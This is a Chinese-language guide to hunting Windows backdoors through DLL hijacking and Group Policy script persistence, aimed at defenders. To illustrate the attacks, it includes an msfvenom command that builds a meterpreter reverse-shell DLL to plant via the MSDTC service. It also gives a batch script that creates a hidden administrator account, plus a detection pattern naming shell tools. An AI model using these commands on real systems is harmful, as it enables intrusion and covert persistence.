Windows后门排查_2025/11/24（持续更新）

Windows后门排查

dll劫持

dll劫持介绍

劫持原理：

为了性能需求，程序开发时会同时开发一些dll文件，不过并没有指明绝对路径；所以程序启动时就会寻找并加载这些dll文件，寻找并加载的优先级如下：

1.应用程序所在目录

2.C:\Windows\System32

3.C:\Windows\System

4.C:\Windows

5.当前工作目录

6.PATH环境变量中的目录

如果用户有权限修改替换其中的文件为后门，当程序启动时就会运行后门。

示例（MSDTC服务）：

当MSDTC服务启动时，它将搜索注册表中的dll文件oci.dll、SQLLib80.dll、xa80.dll：

Windows系统默认不包含oci.dll，我们通过如下方式生成一个恶意的oci.dll文件：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4444 -f dll >oci.dll

将这个恶意文件上传到 C:\Windows\System32 目录下，重启msdtc服务就能加载后门。

taskkill /f /im msdtc.exe
net start msdtc

检测手段

1.排查常见劫持DLL文件名

目录	常见劫持DLL文件名
C:\ProgramData\	version.dll, wlbsctrl.dll, cryptsp.dll
C:\Windows\Temp\	version.dll, VBoxService.dll
%TEMP%	nvcuda.dll, dwmapi.dll
C:\Users\Public\	COMCTL32.dll, powrprof.dll
C:\Windows\System32\spool\drivers...	printconfig.dll

# 1. 检查WMI劫持
Get-ChildItem "C:\Windows\System32\wbem\" -Include version.dll,wlbsctrl.dll -Recurse
Get-ChildItem "C:\ProgramData\" -Include version.dll -Recurse

# 2. 检查打印机驱动劫持
Get-ChildItem "C:\Windows\System32\spool\drivers\x64\3\" -Include *.dll -Recurse

# 3. 检查TS远程桌面劫持（tsappcmp.dll, tsmsisrv.dll）
dir "C:\ProgramData" tsappcmp.dll /s

2.工具扫描

https://github.com/yeyintmynwht/DLL-Hijacking-Scanner

https://github.com/stephenfewer/ReflectiveDLLInjection/tree/master/dll_hijack_detect

https://learn.microsoft.com/sysinternals/downloads/process-explorer）

组策略

组策略脚本

内容：

创建一个脚本，内容是添加隐藏用户：

@echo off
net user test$ 123456 /add
net localgroup administrators test$ /add
exit

打开组策略添加脚本：

关机后就会执行脚本。

检测手段

1.直接打开组策略编辑器检查

类型	GPO路径（域控SYSVOL）	典型恶意文件
计算机启动/关机脚本	\\domain\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Scripts\Startup	.ps1 / .bat / .vbs / .exe
计算机启动/关机脚本	...Shutdown	同上
用户登录/注销脚本	...Policies\{GPO-GUID}\User\Scripts\Logon	.ps1 / .bat / .vbs / .exe
用户登录/注销脚本	...Logoff	同上

2.通过组策略脚本执行的注册表持久化

搜索所有组策略下发的注册表项（重点看Run键）

Get-ChildItem "\\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies" -Recurse -Include Registry.xml | ForEach-Object {
    Select-String -Path $_ -Pattern "Run|RunOnce|AppInit_DLLs|IFEO|shell|powershell|cmd|bitsadmin" -Context 0,5
}

3.工具扫描：

红队利用工具：https://github.com/FSecureLABs/SharpGPOAbuse